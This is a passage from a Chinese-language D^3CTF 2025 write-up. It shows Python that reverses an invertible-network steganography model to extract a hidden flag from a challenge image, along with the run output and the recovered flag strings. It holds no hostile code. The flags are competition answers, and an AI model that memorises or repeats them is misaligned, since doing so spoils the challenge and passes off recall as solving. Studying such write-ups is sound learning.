bits = image.data.int().cpu().numpy().tolist()
for candidate in bits_to_bytearray(bits).split(b'x00x00x00x00'):
candidate = bytearray_to_text(bytearray(candidate))
if candidate:
candidates[candidate] += 1
if len(candidates) == 0:
print("未找到隐藏消息")
return
candidate, count = candidates.most_common(1)[0]
print(f"发现隐藏消息: {candidate}")
return candidate
def reverse_d3net(x):
# 可逆神经网络的反向操作
# 我们需要反向执行所有的INV_block
out = x
# 反向执行(从inv8到inv1)
out = reverse_inv_block(d3net.model.inv8, out)
out = reverse_inv_block(d3net.model.inv7, out)
out = reverse_inv_block(d3net.model.inv6, out)
out = reverse_inv_block(d3net.model.inv5, out)
out = reverse_inv_block(d3net.model.inv4, out)
out = reverse_inv_block(d3net.model.inv3, out)
out = reverse_inv_block(d3net.model.inv2, out)
out = reverse_inv_block(d3net.model.inv1, out)
return out
def reverse_inv_block(inv_block, y):
# 反向执行单个INV_block
# 正向操作:
# x1, x2 -> t2 = f(x2), y1 = x1 + t2
# s1, t1 = r(y1), y(y1), y2 = e(s1) * x2 + t1
#
# 反向操作:
# y1, y2 -> s1, t1 = r(y1), y(y1)
# x2 = (y2 - t1) / e(s1), t2 = f(x2), x1 = y1 - t2
# INV_block使用channels*4,所以分割点是总通道数的一半
channels = y.shape[1] // 2
y1, y2 = (y.narrow(1, 0, channels), y.narrow(1, channels, channels))
# 从y1计算s1和t1(这些在正向过程中从y1计算)
s1, t1 = inv_block.r(y1), inv_block.y(y1)
# 从y2恢复x2
# y2 = e(s1) * x2 + t1 => x2 = (y2 - t1) / e(s1)
e_s1 = inv_block.e(s1)
x2 = (y2 - t1) / (e_s1 + 1e-12) # 添加小值避免除零
# 从x2计算t2,然后恢复x1
# y1 = x1 + t2 => x1 = y1 - t2
t2 = inv_block.f(x2)
x1 = y1 - t2
return torch.cat((x1, x2), 1)
if __name__ == '__main__':
device = torch.device("cpu") # 强制使用CPU
d3net = Model(cuda=False) # 强制不使用CUDA
load('magic.potions')
d3net.eval()
d3net.to(device)
dwt = DWT()
iwt = IWT()
text = r'd3ctf{Getting that model to converge felt like pure sorcery}'
steg = r'./steg.png'
cover = './poster.png'
# encode(cover, text)
# 尝试解码mysterious_invitation.png,看看模型是否会产生"幻觉"
print("尝试解码mysterious_invitation.png:")
try:
decode('./mysterious_invitation.png')
except Exception as e:
print(f"解码失败: {e}")
# 也尝试解码poster.png(原始图像)
print("n尝试解码poster.png:")
try:
decode('./poster.png')
except Exception as e:
print(f"解码失败: {e}")
lov3@Cz ~/D/attachment> cd /Users/lov3/Downloads/attachment && timeout 30
uv run python test.py
尝试解码mysterious_invitation.png:
输入图像张量形状: torch.Size([1, 3, 720, 1280])
DWT后张量形状: torch.Size([1, 12, 360, 640])
构造的输入张量形状: torch.Size([1, 24, 360, 640])
反向解码后张量形状: torch.Size([1, 24, 360, 640])
发现隐藏消息: d3ctf{cre4te_by_M1aoo0bin_&&_l0v3_from_D3}
尝试解码poster.png:
输入图像张量形状: torch.Size([1, 3, 720, 1280])
DWT后张量形状: torch.Size([1, 12, 360, 640])
构造的输入张量形状: torch.Size([1, 24, 360, 640])
反向解码后张量形状: torch.Size([1, 24, 360, 640])
未找到隐藏消息
原文始发于微信公众号(山海之关):D^3CTF 2025 writeup by Arr3stY0u
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论